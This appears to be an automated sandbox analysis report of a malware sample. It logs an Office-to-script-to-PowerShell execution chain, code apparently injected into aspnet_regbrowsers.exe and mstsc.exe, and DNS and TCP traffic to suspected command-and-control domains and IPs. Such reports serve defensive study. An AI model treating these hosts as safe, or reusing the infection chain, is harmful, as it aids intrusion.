Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: egbrowsers.pdb source: aspnet_regbrowsers.exe, 00000011.00000002.490337170.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: aspnet_regbrowsers.pdbl source: explorer.exe, 00000017.00000002.639143250.000000000878F000.00000004.80000000.00040000.00000000.sdmp, niLILOT.exe, 00000019.00000000.488929503.0000000000332000.00000020.00000001.01000000.0000000A.sdmp, mstsc.exe, 0000001B.00000002.638080396.00000000026CF000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 0000001B.00000002.637568604.000000000037D000.00000004.00000020.00020000.00000000.sdmp, niLILOT.exe.17.dr
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 0000000F.00000002.479528162.0000000000299000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: egbrowsers.pdbd source: aspnet_regbrowsers.exe, 00000011.00000002.490337170.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_009120E2 PathFindFileNameW,PathAppendW,PathAppendW,GetFileAttributesW,PathAppendW,FindFirstFileW,PathAppendW,FindNextFileW,PathAppendW,FindNextFileW,FindClose,

27_2_009120E2

Software Vulnerabilities

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 4x nop then jmp 007D1A1Ch		17_2_007D117E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then pop edi		27_2_0008E47D

Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: raw.githubusercontent.com
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: raw.githubusercontent.com
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: m2g.me
Source: global traffic	DNS query: name: www.my-tournament.live
Source: global traffic	DNS query: name: www.senior-dating-73474.bond

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
